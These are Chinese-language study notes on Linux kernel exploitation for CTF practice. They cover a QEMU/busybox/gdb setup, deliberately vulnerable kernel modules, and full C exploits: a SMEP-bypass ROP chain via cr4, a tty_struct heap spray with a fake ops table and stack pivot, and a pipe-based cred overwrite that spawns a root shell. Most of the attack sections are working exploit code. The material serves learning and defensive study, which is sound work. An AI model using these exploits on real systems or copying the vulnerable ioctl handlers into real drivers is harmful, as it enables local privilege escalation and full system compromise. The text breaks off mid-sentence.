Linux kernel pwn notes(内核漏洞利用学习)
前言
对这段时间学习的 linux
内核中的一些简单的利用技术做一个记录,如有差错,请见谅。
相关的文件
https://gitee.com/hac425/kernel_ctf
相关引用已在文中进行了标注,如有遗漏,请提醒。
环境搭建
对于 ctf
中的 pwn
一般都是给一个 linux
内核文件 和一个 busybox
文件系统,然后用 qemu
启动起来。而且我觉得用 qemu
调试时 gdb
的反应比较快,也没有一些奇奇怪怪的问题。所以推荐用 qemu
来调,如果是真实漏洞那 vmware
双机调试肯定是逃不掉的 (:_。
编译内核
首先去 linux
内核的官网下载 内核源代码
https://mirrors.edge.kernel.org/pub/linux/kernel/
我用的
ubuntu 16.04
来编译内核,默认的gcc
比较新,所以编译了4.4.x
版本,免得换gcc
安装好一些编译需要的库
apt-get install libncurses5-dev build-essential kernel-package
进入内核源代码目录
make menuconfig
配置一下编译参数,注意就是修改下面列出的一些选项 (没有的选项就不用管了
由于我们需要使用kgdb调试内核,注意下面这几项一定要配置好:
KernelHacking -->
- 选中Compile the kernel with debug info
- 选中Compile the kernel with frame pointers
- 选中KGDB:kernel debugging with remote gdb,其下的全部都选中。
Processor type and features-->
- 去掉Paravirtualized guest support
KernelHacking-->
- 去掉Write protect kernel read-only data structures(否则不能用软件断点)
参考
Linux内核调试
编译 busybox && 构建文件系统
编译 busybox
启动内核还需要一个简单的文件系统和一些命令,可以使用 busybox
来构建
首先下载,编译 busybox
cd ..
wget https://busybox.net/downloads/busybox-1.19.4.tar.bz2 # 建议改成最新的 busybox
tar -jxvf busybox-1.19.4.tar.bz2
cd busybox-1.19.4
make menuconfig
make install
编译的一些配置
make menuconfig 设置
Busybox Settings -> Build Options -> Build Busybox as a static binary 编译成 静态文件
关闭下面两个选项
Linux System Utilities -> [] Support mounting NFS file system 网络文件系统
Networking Utilities -> [] inetd (Internet超级服务器)
构建文件系统
编译完,、make install
后, 在 busybox
源代码的根目录下会有一个 _install
目录下会存放好编译后的文件。
然后配置一下
cd _install
mkdir proc sys dev etc etc/init.d
vim etc/init.d/rcS
chmod +x etc/init.d/rcS
就是创建一些目录,然后创建 etc/init.d/rcS
作为 linux
启动脚本, 内容为
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
/sbin/mdev -s
记得加上 x
权限,允许脚本的执行。
配置完后的目录结构
然后调用
find . | cpio -o --format=newc > ../rootfs.img
创建文件系统
接着就可以使用 qemu
来运行内核了。
qemu-system-x86_64 -kernel ~/linux-4.1.1/arch/x86_64/boot/bzImage -initrd ~/linux-4.1.1/rootfs.img -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" -cpu kvm64,+smep,+smap --nographic -gdb tcp::1234
对一些选项解释一下
-cpu kvm64,+smep,+smap
设置CPU
的安全选项, 这里开启了smap
和smep
-kernel
设置内核bzImage
文件的路径
-initrd
设置刚刚利用busybox
创建的rootfs.img
,作为内核启动的文件系统
-gdb tcp::1234
设置gdb
的调试端口 为1234
参考
Linux内核漏洞利用(一)环境配置
内核模块创建与调试
创建内核模块
在学习阶段还是自己写点简单 内核模块 (驱动) 来练习比较好。这里以一个简单的用于测试 通过修改 thread_info->addr_limit 来提权 的模块为例
首先是源代码程序 arbitrarily_write.c
#include <linux/module.h>
#include <linux/types.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/errno.h>
#include <linux/cdev.h>
#include <asm/uaccess.h>
#include <linux/device.h>
#include<linux/slab.h>
#include<linux/string.h>struct class *arw_class;
struct cdev cdev;
char *p;
int arw_major=248;struct param
{size_t len;char* buf;char* addr;
};char buf[16] = {0};long arw_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{struct param par;struct param* p_arg;long p_stack;long* ptr;struct thread_info * info;copy_from_user(&par, arg, sizeof(struct param));int retval = 0;switch (cmd) {case 8:printk("current: %p, size: %d, buf:%p\n", current, par.len, par.buf);copy_from_user(buf, par.buf, par.len);break;case 7:printk("buf(%p), content: %s\n", buf, buf);break;case 5:p_arg = (struct param*)arg;p_stack = (long)&retval;p_stack = p_stack&0xFFFFFFFFFFFFC000;info = (struct thread_info * )p_stack;printk("addr_limit's addr: 0x%p\n", &info->addr_limit);memset(&info->addr_limit, 0xff, 0x8);// 返回 thread_info 的地址, 模拟信息泄露put_user(info, &p_arg->addr);break;case 999:p = kmalloc(8, GFP_KERNEL);printk("kmalloc(8) : %p\n", p);break;case 888://数据清零kfree(p);printk("kfree : %p\n", p);break;default:retval = -1;break;}return retval;
}static const struct file_operations arw_fops = {.owner = THIS_MODULE,.unlocked_ioctl = arw_ioctl,//linux 2.6.36内核之后unlocked_ioctl取代ioctl
};static int arw_init(void)
{//设备号dev_t devno = MKDEV(arw_major, 0);int result;if (arw_major)//静态分配设备号result = register_chrdev_region(devno, 1, "arw");else {//动态分配设备号result = alloc_chrdev_region(&devno, 0, 1, "arw");arw_major = MAJOR(devno);}// 打印设备号printk("arw_major /dev/arw: %d", arw_major);if (result < 0)return result;arw_class = class_create(THIS_MODULE, "arw");device_create(arw_class, NULL, devno, NULL, "arw");cdev_init(&cdev, &arw_fops);cdev.owner = THIS_MODULE;cdev_add(&cdev, devno, 1);printk("arw init success\n");return 0;
}static void arw_exit(void)
{cdev_del(&cdev);device_destroy(arw_class, MKDEV(arw_major, 0));class_destroy(arw_class);unregister_chrdev_region(MKDEV(arw_major, 0), 1);printk("arw exit success\n");
}MODULE_AUTHOR("exp_ttt");
MODULE_LICENSE("GPL");module_init(arw_init);
module_exit(arw_exit);
注册了一个 字符设备, 设备文件路径为 /dev/arw
, 实现了 arw_ioctl
函数,用户态可以通过 ioctl
和这个函数进行交互。
在 qemu
中创建设备文件,貌似不会帮我们自动创建设备文件,需要手动调用 mknod
创建设备文件,此时需要设备号,于是在注册驱动时把拿到的 主设备号 打印了出来, 次设备号 从 0 开始试 。创建好设备文件后要设置好权限,使得普通用户可以访问。
然后是测试代码(用户态调用)test.c
#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
struct param
{size_t len;char* buf;char* addr;
};int main(void)
{int fd;char buf[16];fd = open("/dev/arw", O_RDWR);if (fd == -1) {printf("open hello device failed!\n");return -1;}struct param p;p.len = 8;p.buf = malloc(32);strcpy(p.buf, "hello");ioctl(fd, 8, &p);ioctl(fd, 7, &p);return 0;
}
打开设备文件,然后使用 ioctl
和刚刚驱动进行交互。
接下来是Makefile
obj-m := arbitrarily_write.o
KERNELDIR := /home/haclh/linux-4.1.1
PWD := $(shell pwd)
OUTPUT := $(obj-m) $(obj-m:.o=.ko) $(obj-m:.o=.mod.o) $(obj-m:.o=.mod.c) modules.order Module.symversmodules:$(MAKE) -C $(KERNELDIR) M=$(PWD) modulesgcc -static test.c -o testclean:rm -rf $(OUTPUT)rm -rf test
test.c
要静态编译,busybox
编译的文件系统,没有libc
.把
KERNELDIR
改成 内核源代码的根目录。
同时还创建了一个脚本用于在 qemu
加载的系统中,加载模块,创建设备文件,新增测试用的普通用户。
mknod.sh
mkdir /home
mkdir /home/hac425
touch /etc/passwd
touch /etc/group
adduser hac425
insmod arbitrarily_write.ko
mknod /dev/arw c 248 0
chmod 777 /dev/arw
cat /proc/modules
mknod
命令的参数根据实际情况进行修改
为了方便对代码进行修改,写了个 shell
脚本,一件完成模块和测试代码的编译、 rootfs.img
的重打包 和 qemu
运行。
start.sh
PWD=$(pwd)
make clean
sleep 0.5
make
sleep 0.5
rm ~/busybox-1.27.1/_install/{*.ko,test}
cp mknod.sh test *.ko ~/busybox-1.27.1/_install/
cd ~/busybox-1.27.1/_install/
rm ~/linux-4.1.1/rootfs.img
find . | cpio -o --format=newc > ~/linux-4.1.1/rootfs.img
cd $PWD
qemu-system-x86_64 -kernel ~/linux-4.1.1/arch/x86_64/boot/bzImage -initrd ~/linux-4.1.1/rootfs.img -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init" -cpu kvm64,+smep --nographic -gdb tcp::1234
然后 ./start.sh
,就可以运行起来了。
进入系统后,首先使用 mknod.sh
安装模块,创建好设备文件等操作,然后切换到一个普通用户,执行 test
测试驱动是否正常。对比源代码,可以判断驱动是正常运行的
gdb调试
用 qemu
运行内核时,加了一个 -gdb tcp::1234
的参数, qemu
会在 1234
端口起一个 gdb_server
,我们直接用 gdb
连上去即可。
记得加载
vmlinux
文件,以便在调试的时候可以有调试符号。
为了调试内核模块,还需要加载 驱动的 符号文件,首先在系统里面获取驱动的加载基地址。
/ # cat /proc/modules | grep arb
arbitrarily_write 2168 0 - Live 0xffffffffa0000000 (O)
/ #
然后在 gdb
里面加载
gef➤ add-symbol-file ~/kernel/arbitrarily_write/arbitrarily_write.ko 0xffffffffa0000000
add symbol table from file "/home/haclh/kernel/arbitrarily_write/arbitrarily_write.ko" at.text_addr = 0xffffffffa0000000
Reading symbols from /home/haclh/kernel/arbitrarily_write/arbitrarily_write.ko...done.
gef➤
此时就可以直接对驱动的函数下断点了
b arw_ioctl
然后运行测试程序 ( test
),就可以断下来了。
利用方式汇总
内核 Rop
Rop-By-栈溢出
本节的相关文件位于 kmod
准备工作
开始打算直接用
https://github.com/black-bunny/LinKern-x86_64-bypass-SMEP-KASLR-kptr_restric
里面给的内核镜像,发现有些问题。于是自己编译了一个 linux 4.4.72
的镜像,然后自己那他的源码编译了驱动。
默认编译驱动开了栈保护,懒得重新编译内核了,于是直接 在 驱动里面 patch 掉了 栈保护的检测代码。
漏洞
漏洞位于 vuln_write
函数
static ssize_t vuln_write(struct file *f, const char __user *buf,size_t len, loff_t *off)
{char buffer[100]={0};if (_copy_from_user(buffer, buf, len))return -EFAULT;buffer[len-1]='\0';printk("[i] Module vuln write: %s\n", buffer);strncpy(buffer_var,buffer,len);return len;
}
可以看到 _copy_from_user
的参数都是我们控制的,然后把内容读入了栈中的 buffer
, 简单的栈溢出。
把驱动拖到 ida
里面,发现没有开启 cancary
, 同时 buffer
距离 返回地址的 偏移为 0x7c
所以只要读入超过 0x7c
个字节的数据就可以覆盖到 返回地址,控制 rip
利用
如果没有开启任何保护的话,直接把返回地址改成用户态的 函数,然后调用
commit_creds(prepare_kernel_cred(0))
就可以完成提权了。
可以参考: Linux内核漏洞利用(三)Kernel Stack Buffer Overflow
秉着学习的态度,这里我开了 smep
。 这个安全选项的作用是禁止内核去执行用户空间的代码。
但是我们依旧可以执行内核的代码 ,于是在内核 进行 ROP。
ROP
的话有两种思路
- 利用
ROP
,执行commit_creds(prepare_kernel_cred(0))
, 然后iret
返回用户空间。 - 利用
ROP
关闭smep
, 然后进行ret2user
攻击。
利用 rop 直接提权
此时布置的 rop
链 类似下面
就是 调用 commit_creds(prepare_kernel_cred(0))
, 然后 iret
返回到用户空间。
参考
入门学习linux内核提权
利用 rop 关闭 smep && ret2user
系统根据 cr4 寄存器的值判断是否开启 smep, 然而 cr4 寄存器可以使用 mov 指令进行修改,于是事情就变得简单了,利用 rop
设置 cr4
为 0x6f0
(这个值可以通过用 cr4原始值 & 0xFFFFF
得到), 然后 iret
到用户空间去执行提权代码。
在
gdb
中貌似看不到cr4
寄存器,可以从 内核的崩溃信息里面获取 开启smep
下的cr4
寄存器值
exp
:
#include <stdio.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>typedef int __attribute__((regparm(3)))(*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);// 两个函数的地址
_commit_creds commit_creds = (_commit_creds) 0xffffffff810a1420;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff810a1810;unsigned long xchg_eax_esp = 0xFFFFFFFF81007808;
unsigned long rdi_to_cr4 = 0xFFFFFFFF810635B4; // mov cr4, rdi ;pop rbp ; ret
unsigned long pop_rdi_ret = 0xFFFFFFFF813E7D6F;
unsigned long iretq = 0xffffffff814e35ef;
unsigned long swapgs = 0xFFFFFFFF81063694; // swapgs ; pop rbp ; ret
unsigned long poprbpret = 0xffffffff8100202b; //pop rbp, retunsigned long mmap_base = 0xb0000000;void get_shell() {system("/bin/sh");
}void get_root() {commit_creds(prepare_kernel_cred(0));
}/* status */
unsigned long user_cs, user_ss, user_rflags;
void save_stats() {asm("movq %%cs, %0\n" // mov rcx, cs"movq %%ss, %1\n" // mov rdx, ss"pushfq\n" // 把rflags的值压栈"popq %2\n" // pop rax:"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags) : : "memory" // mov user_cs, rcx; mov user_ss, rdx; mov user_flags, rax);
}int main(void)
{int fd;char buf[16];fd = open("/dev/vuln", O_RDWR);if (fd == -1) {printf("open /dev/vuln device failed!\n");return -1;}save_stats();printf("mmap_addr: %p\n", mmap(mmap_base, 0x30000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0));// 布局 rop 链unsigned long rop_chain[] = {pop_rdi_ret,0x6f0,rdi_to_cr4, // cr4 = 0x6f0mmap_base + 0x10000,(unsigned long)get_root,swapgs, // swapgs; pop rbp; retmmap_base, // rbp = baseiretq,(unsigned long)get_shell,user_cs,user_rflags,mmap_base + 0x10000,user_ss};char * payload = malloc(0x7c + sizeof(rop_chain));memset(payload, 0xf1, 0x7c + sizeof(rop_chain));memcpy(payload + 0x7c, rop_chain, sizeof(rop_chain));write(fd, payload, 0x7c + sizeof(rop_chain));return 0;
}
说说 rop 链
- 首先使用
pop rdi && mov cr4,rdi
,修改cr4
寄存器,关掉smep
- 然后
ret2user
去执行用户空间的get_root
函数,执行commit_creds(prepare_kernel_cred(0))
完成提权 - 然后
swapgs
和iret
返回用户空间,起一个root
权限的shell
。
参考
Linux Kernel x86-64 bypass SMEP - KASLR - kptr_restric
Rop-By-Heap-Vulnerability
漏洞
首先放源码,位于 heap_bof
驱动的代码基本差不多,区别点主要在 ioctl
处
char *ptr[40]; // 指针数组,用于存放分配的指针
struct param
{size_t len; // 内容长度char* buf; // 用户态缓冲区地址unsigned long idx; // 表示 ptr 数组的 索引
};
............................
............................
............................
long bof_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{struct param* p_arg;p_arg = (struct param*)arg;int retval = 0;switch (cmd) {case 9:copy_to_user(p_arg->buf, ptr[p_arg->idx], p_arg->len);printk("copy_to_user: 0x%x\n", *(long *)ptr[p_arg->idx]);break;case 8:copy_from_user(ptr[p_arg->idx], p_arg->buf, p_arg->len);break;case 7:kfree(ptr[p_arg->idx]);printk("free: 0x%p\n", ptr[p_arg->idx]);break;case 5:ptr[p_arg->idx] = kmalloc(p_arg->len, GFP_KERNEL);printk("alloc: 0x%p, size: %2x\n", ptr[p_arg->idx], p_arg->len);break;default:retval = -1;break;}return retval;
}
首先定义了一个 指针数组 ptr[40]
,用于存放分配的内存地址的指针。
实现了驱动的 ioctl
接口来向用户态提供服务。
cmd
为5
时,根据参数调用kmalloc
分配内存,然后把分配好的指针,存放在ptr[p_arg->idx]
, 为了调试的方便,打印了分配到的内存指针cmd
为7
时,释放掉ptr
数组中指定项的指针,kfree
之后没有对ptr
中的指定项置0。cmd
为8
时,往ptr
数组中 指定项的指针中写入 数据,长度不限.cmd
为9
时, 获取 指定项 的指针 里面的 数据,然后拷贝到用户空间。
驱动的漏洞还是很明显的, 堆溢出 以及 UAF
.
利用
slub简述
要进行利用的话还需要了解 内核的内存分配策略。
在 linux
内核 2.26
以上的版本,默认使用 slub
分配器进行内存管理。slub
分配器按照零售式的内存分配。他会把大小相近的对象(分配的内存)放到同一个 slab
中进行分配。
它首先向系统分配一个大的内存,然后把它分成大小相等的内存块进行内存的分配,同时在分配内存时会对分配的大小 向上取整分配。
可以查看 /proc/slabinfo
获取当前系统 的 slab
信息
这里介绍下 kmalloc-xxx
,这些 slab
用于给 kmalloc
进行内存分配。 假如要分配 0x2e0
,向上取整就是 kmalloc-1024
所以实际会使用 kmalloc-1024
分配 1024
字节的内存块。
而且 slub
分配内存不像 glibc
中的malloc
, slub
分配的内存的首部是没有元数据的(如果内存块处于释放状态的话会有一个指针,指向下一个 free 的块)。
所以如果分配几个大小相同的内存块, 它们会紧密排在一起(不考虑内存碎片的情况)。
给个例子(详细代码可以看最后的 exp
)
struct param p;p.len = 0x2e0;p.buf = malloc(p.len);for (int i = 0; i < 10; ++i){p.idx = i;ioctl(fds[i], 5, &p); // malloc}
这一小段代码的作用是 通过 ioctl
让驱动调用10
次 kmalloc(0x2e0, GFP_KERNEL)
,驱动打印出的分配的地址如下
[ 7.095323] alloc: 0xffff8800027ee800, size: 2e0
[ 7.101074] alloc: 0xffff8800027ef000, size: 2e0
[ 7.107161] alloc: 0xffff8800027ef400, size: 2e0
[ 7.111211] alloc: 0xffff8800027ef800, size: 2e0
[ 7.115165] alloc: 0xffff8800027efc00, size: 2e0
[ 7.131237] alloc: 0xffff880002791c00, size: 2e0
[ 7.138591] alloc: 0xffff880003604000, size: 2e0
[ 7.141208] alloc: 0xffff880003604400, size: 2e0
[ 7.146466] alloc: 0xffff880003604800, size: 2e0
[ 7.154290] alloc: 0xffff880003604c00, size: 2e0
可以看到除了第一个(内存碎片的原因),其他分配到的内存的地址相距都是 0x400
, 这说明内核实际给我的空间是 0x400
.
尽管我们要分配的是 0x2e0
,实际内核会把大小向上取整 到 0x400
参考
linux 内核 内存管理 slub算法 (一) 原理
代码执行
对于堆溢出和 UAF
漏洞,其实利用思路都差不多,就是想办法修改一些对象的数据,来达到提权的目的,比如改函数表指针然后执行代码提权, 修改 cred
结构体直接提权等。
这里介绍通过修改 tty_struct
中的 ops
来进行 rop
绕过 smep
提权的技术。
结构体定义在 linux/tty.h
struct tty_struct {int magic;struct kref kref;struct device *dev;struct tty_driver *driver;const struct tty_operations *ops;int index;/* Protects ldisc changes: Lock tty not pty */struct ld_semaphore ldisc_sem;struct tty_ldisc *ldisc;struct mutex atomic_write_lock;struct mutex legacy_mutex;
其中有一个 ops
项(64bit
下位于 结构体偏移 0x18
处)是一个 struct tty_operations *
结构体。 它里面都是一些函数指针,用户态可以通过一些函数触发这些函数的调用。
当 open("/dev/ptmx",O_RDWR|O_NOCTTY)
内核会分配 tty_struct
结构体,64
位下改结构体的大小为 0x2e0
(可以自己编译一个同版本的内核,然后在 gdb
里面看),所以实现代码执行的思路就很简单了
- 通过
ioctl
让驱动分配若干个0x2e0
的 内存块 - 释放其中的几个,然后调用若干次
open("/dev/ptmx",O_RDWR|O_NOCTTY)
,会分配若干个tty_struct
, 这时其中的一些tty_struct
会落在 刚刚释放的那些内存块里面 - 利用 驱动中 的
uaf
或者 溢出,修改 修改tty_struct
的ops
到我们mmap
的一块空间,进行tty_operations
的伪造, 伪造ops->ioctl
为 要跳转的位置。 - 然后 对
/dev/ptmx
的文件描述符,进行ioctl
,实现代码执行
rop
因为开启了 smep
所以需要先 使用 rop
关闭 smep
, 然后在 执行 commit_creds(prepare_kernel_cred(0))
完成提权。
这里有一个小 tips
,通过 tty_struct
执行 ioctl
时, rax
的值正好是 rip
的值,然后使用 xchg eax,esp;ret
就可以把 rsp
设置为 rax&0xffffffff
(其实就是 &ops->ioctl
的低四个字节)。
于是 堆漏洞的 rop
思路如下(假设 xchg_eax_esp
为 xchg eax,esp
指令的地址 )
- 首先使用
mmap
, 分配xchg_eax_esp&0xffffffff
作为fake_stack
并在这里布置好rop
链 - 修改
ops->ioctl
为xchg_eax_esp
- 触发
ops->ioctl
, 然后会跳转到xchg_eax_esp
,此时rax=rip=xchg_eax_esp
, 执行xchg eax,esp
后 rsp为xchg_eax_esp&0xffffffff
, 之后就是 根据 事先布置好的rop chain
进行rop
了。
#include <stdio.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
struct tty_operations {struct tty_struct * (*lookup)(struct tty_driver *driver,struct file *filp, int idx);int (*install)(struct tty_driver *driver, struct tty_struct *tty);void (*remove)(struct tty_driver *driver, struct tty_struct *tty);int (*open)(struct tty_struct * tty, struct file * filp);void (*close)(struct tty_struct * tty, struct file * filp);void (*shutdown)(struct tty_struct *tty);void (*cleanup)(struct tty_struct *tty);int (*write)(struct tty_struct * tty,const unsigned char *buf, int count);int (*put_char)(struct tty_struct *tty, unsigned char ch);void (*flush_chars)(struct tty_struct *tty);int (*write_room)(struct tty_struct *tty);int (*chars_in_buffer)(struct tty_struct *tty);int (*ioctl)(struct tty_struct *tty,unsigned int cmd, unsigned long arg);long (*compat_ioctl)(struct tty_struct *tty,unsigned int cmd, unsigned long arg);void (*set_termios)(struct tty_struct *tty, struct ktermios * old);void (*throttle)(struct tty_struct * tty);void (*unthrottle)(struct tty_struct * tty);void (*stop)(struct tty_struct *tty);void (*start)(struct tty_struct *tty);void (*hangup)(struct tty_struct *tty);int (*break_ctl)(struct tty_struct *tty, int state);void (*flush_buffer)(struct tty_struct *tty);void (*set_ldisc)(struct tty_struct *tty);void (*wait_until_sent)(struct tty_struct *tty, int timeout);void (*send_xchar)(struct tty_struct *tty, char ch);int (*tiocmget)(struct tty_struct *tty);int (*tiocmset)(struct tty_struct *tty,unsigned int set, unsigned int clear);int (*resize)(struct tty_struct *tty, struct winsize *ws);int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);int (*get_icount)(struct tty_struct *tty,struct serial_icounter_struct *icount);const struct file_operations *proc_fops;
};struct param
{size_t len;char* buf;unsigned long idx;
};typedef int __attribute__((regparm(3)))(*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
// 两个函数的地址
_commit_creds commit_creds = (_commit_creds) 0xffffffff810a1420;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff810a1810;
unsigned long xchg_eax_esp = 0xFFFFFFFF81007808;
unsigned long rdi_to_cr4 = 0xFFFFFFFF810635B4; // mov cr4, rdi ;pop rbp ; ret
unsigned long pop_rdi_ret = 0xFFFFFFFF813E7D6F;
unsigned long iretq = 0xffffffff814e35ef;
unsigned long swapgs = 0xFFFFFFFF81063694; // swapgs ; pop rbp ; ret
unsigned long poprbpret = 0xffffffff8100202b; //pop rbp, ret
void get_shell() {system("/bin/sh");
}
void get_root() {commit_creds(prepare_kernel_cred(0));
}
/* status */
unsigned long user_cs, user_ss, user_rflags;
void save_stats() {asm("movq %%cs, %0\n" // mov rcx, cs"movq %%ss, %1\n" // mov rdx, ss"pushfq\n" // 把rflags的值压栈"popq %2\n" // pop rax:"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags) : : "memory" // mov user_cs, rcx; mov user_ss, rdx; mov user_flags, rax);
}
int main(void)
{int fds[10];int ptmx_fds[0x100];char buf[8];int fd;unsigned long mmap_base = xchg_eax_esp & 0xffffffff;struct tty_operations *fake_tty_operations = (struct tty_operations *)malloc(sizeof(struct tty_operations));memset(fake_tty_operations, 0, sizeof(struct tty_operations));fake_tty_operations->ioctl = (unsigned long) xchg_eax_esp; // 设置tty的ioctl操作为栈转移指令fake_tty_operations->close = (unsigned long)xchg_eax_esp;for (int i = 0; i < 10; ++i){fd = open("/dev/bof", O_RDWR);if (fd == -1) {printf("open bof device failed!\n");return -1;}fds[i] = fd;}printf("%p\n", fake_tty_operations);save_stats();printf("mmap_addr: %p\n", mmap(mmap_base, 0x30000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0));// 布局 rop 链unsigned long rop_chain[] = {pop_rdi_ret,0x6f0,rdi_to_cr4, // cr4 = 0x6f0mmap_base + 0x10000,(unsigned long)get_root,swapgs, // swapgs; pop rbp; retmmap_base, // rbp = baseiretq,(unsigned long)get_shell,user_cs,user_rflags,mmap_base + 0x10000,user_ss};// 触发漏洞前先把 rop 链拷贝到 mmap_basememcpy(mmap_base, rop_chain, sizeof(rop_chain));struct param p;p.len = 0x2e0;p.buf = malloc(p.len);// 让驱动分配 10 个 0x2e0 的内存块for (int i = 0; i < 10; ++i){p.idx = i;ioctl(fds[i], 5, &p); // malloc}// 释放中间的几个for (int i = 2; i < 6; ++i){p.idx = i;ioctl(fds[i], 7, &p); // free}// 批量 open /dev/ptmx, 喷射 tty_structfor (int i = 0; i < 0x100; ++i){ptmx_fds[i] = open("/dev/ptmx",O_RDWR|O_NOCTTY);if (ptmx_fds[i]==-1){printf("open ptmx err\n");}}p.idx = 2;p.len = 0x20;ioctl(fds[4], 9, &p);// 此时如果释放后的内存被 tty_struct// 占用,那么他的开始字节序列应该为//for (int i = 0; i < 16; ++i){printf("%2x ", p.buf[i]);}printf("\n");// 批量修改 tty_struct 的 ops 指针 unsigned long *temp = (unsigned long *)&p.buf[24];*temp = (unsigned long)fake_tty_operations;for (int i = 2; i < 6; ++i){p.idx = i;ioctl(fds[4], 8, &p);}// getchar();for (int i = 0; i < 0x100; ++i){ioctl(ptmx_fds[i], 0, 0);}getchar();return 0;
}
参考
一道简单内核题入门内核利用
利用 thread_info->addr_limit
DEMO
这里使用的代码就是 内核模块创建与调试 中的示例代码。
代码中大部分都是用来测试一些内核函数,其中对本节内容有效的代码为:
long arw_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{...............................................................switch (cmd) {...............................................................case 5:p_arg = (struct param*)arg;p_stack = (long)&retval;p_stack = p_stack&0xFFFFFFFFFFFFC000;info = (struct thread_info * )p_stack;printk("addr_limit's addr: 0x%p\n", &info->addr_limit);memset(&info->addr_limit, 0xff, 0x8);// 返回 thread_info 的地址, 模拟信息泄露put_user(info, &p_arg->addr);break;
利用栈地址拿到 thread_info 的地址
首先模拟了一个内核的信息泄露。
利用 程序的局部变量的地址 (&retval
) 获得内核栈的地址。又因为 thread_info
位于内核栈顶部而且是 8k
(或者 4k
) 对齐的
union thread_union {struct thread_info thread_info;unsigned long stack[THREAD_SIZE/sizeof(long)];
};
所以利用 栈地址 & (~(THREAD_SIZE - 1)) 就可以计算出 thread_info
的地址。
THREAD_SIZE
可以为 4k
, 8k
或者是 16k
。
可以在 Linux 源代码 里面搜索。
x86_64 定义在 arch/x86/include/asm/page_64_types.h
#ifdef CONFIG_KASAN
#define KASAN_STACK_ORDER 1
#else
#define KASAN_STACK_ORDER 0
#endif#define THREAD_SIZE_ORDER (2 + KASAN_STACK_ORDER)
#define THREAD_SIZE (PAGE_SIZE << THREAD_SIZE_ORDER)// 左移 2, 页大小为 4k, 所以是 16k
#define CURRENT_MASK (~(THREAD_SIZE - 1))
PAGE_SIZE
为 4096
, THREAD_SIZE_ORDER
为 2
, 所以 THREAD_SIZE= 4 * 4096=0x4000
所以 (~(THREAD_SIZE - 1)) 为
>>> hex(~(0x4000-1)&0xffffffffffffffff)
'0xffffffffffffc000L'
所以 thread_info
的地址就是 p_stack&0xFFFFFFFFFFFFC000
, 然后利用 put_user
传递给 用户态。
修改 thread_info->addr_limit
thread_info->addr_limit
用于限制用户态程序能访问的地址的最大值,如果把它修改成 0xffffffffffffffff
,我们就可以读写整个内存空间了 包括 内核空间
struct thread_info {struct task_struct *task; /* main task structure */__u32 flags; /* low level flags */__u32 status; /* thread synchronous flags */__u32 cpu; /* current CPU */mm_segment_t addr_limit;unsigned int sig_on_uaccess_error:1;unsigned int uaccess_err:1; /* uaccess failed */
};
在 thread_info
偏移 0x18
(64位)处就是 addr_limit
, 它的类型为 long
。
在驱动的源码中,模拟修改 了 thread_info->addr_limit
的操作,
memset(&info->addr_limit, 0xff, 0x8);
执行完后,我们就可以读写任意内存了。
利用 pipe 实现任意地址读写
修改 thread_info->addr_limit
后,我们还不能直接的进行任意地址读写,需要使用 pipe
来中转一下,具体的原因以后再研究。
int pipefd[2];
//dest 数据的写入位置, src 数据来源, size 大小
int kmemcpy(void *dest, void *src, size_t size)
{write(pipefd[1], src, size);read(pipefd[0], dest, size);return size;
}
先用 pipe(pipefd)
初始化好 pipefd
, 然后使用 kmemcpy
就可以实现任意地址读写了。
如果是泄露内核数据的话,
dest
为 内核地址,src
为 内核地址,同时要关闭smap
如果是对内核数据进行写操作,
dest
为 内核地址,src
为 用户态地址
修改 task_struct->real_cred
我们现在已经有了thread_info
的地址,而且可以对内核进行任意读写,于是通过 修改 task_struct->real_cred
和 task_struct->cred
进行提权。
- 首先通过
thread_info
的地址,拿到task_struct
的地址 (thread_info->task
) - 通过
task_struct->real_cred
和task_struct->cred
相对于task_struct
的偏移,拿到 它们的地址. - 修改
task_struct->real_cred
中从开始 一直 到fsuid
字段(大小为0x1c
) 为0
. - 修改
task_struct->cred = task_struct->real_cred
- 执行
system("sh")
, 获取root
权限的shell
gdb
中获取real_cred
的偏移p &((struct task_struct*)0)->real_cred
完整 exp
#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
struct param
{size_t len;char* buf;char* addr;
};int pipefd[2];int kmemcpy(void *dest, void *src, size_t size)
{write(pipefd[1], src, size);read(pipefd[0], dest, size);return size;
}int main(void)
{int fd;char buf[16];fd = open("/dev/arw", O_RDWR);if (fd == -1) {printf("open hello device failed!\n");return -1;}struct param p;ioctl(fd, 5, &p);printf("got thread_info: %p\n", p.addr);char * info = p.addr;int ret_val = pipe(pipefd);if (ret_val < 0) {printf("pipe failed: %d\n", ret_val);exit(1);}kmemcpy(buf, info, 16);void* task_addr = (void *)(*(long *)buf);//p &((struct task_struct*)0)->real_cred// 0x5a8kmemcpy(buf, task_addr+0x5a8, 16);char* real_cred = (void *)(*(long *)buf);printf("task_addr: %p\n", task_addr);printf("real_cred: %p\n", real_cred);char* cred_ids = malloc(0x1c);memset(cred_ids, 0, 0x1c);// 修改 real_cred kmemcpy(real_cred, cred_ids, 0x1c);// 修改 task->cred = real_credkmemcpy(real_cred+8, &real_cred, 8);system("sh");return 0;
}
运行测试
gid
和 groups
没有为 0
, 貌似是 qemu
的 特点导致的?因为它们后面的字段能被成功设置为 0
参考
LinuxカーネルモジュールでStackjackingによるSMEP+SMAP+KADR回避をやってみる
利用 set_fs
在内核中 set_fs
是一个用于设置 thread_info->addr_limit
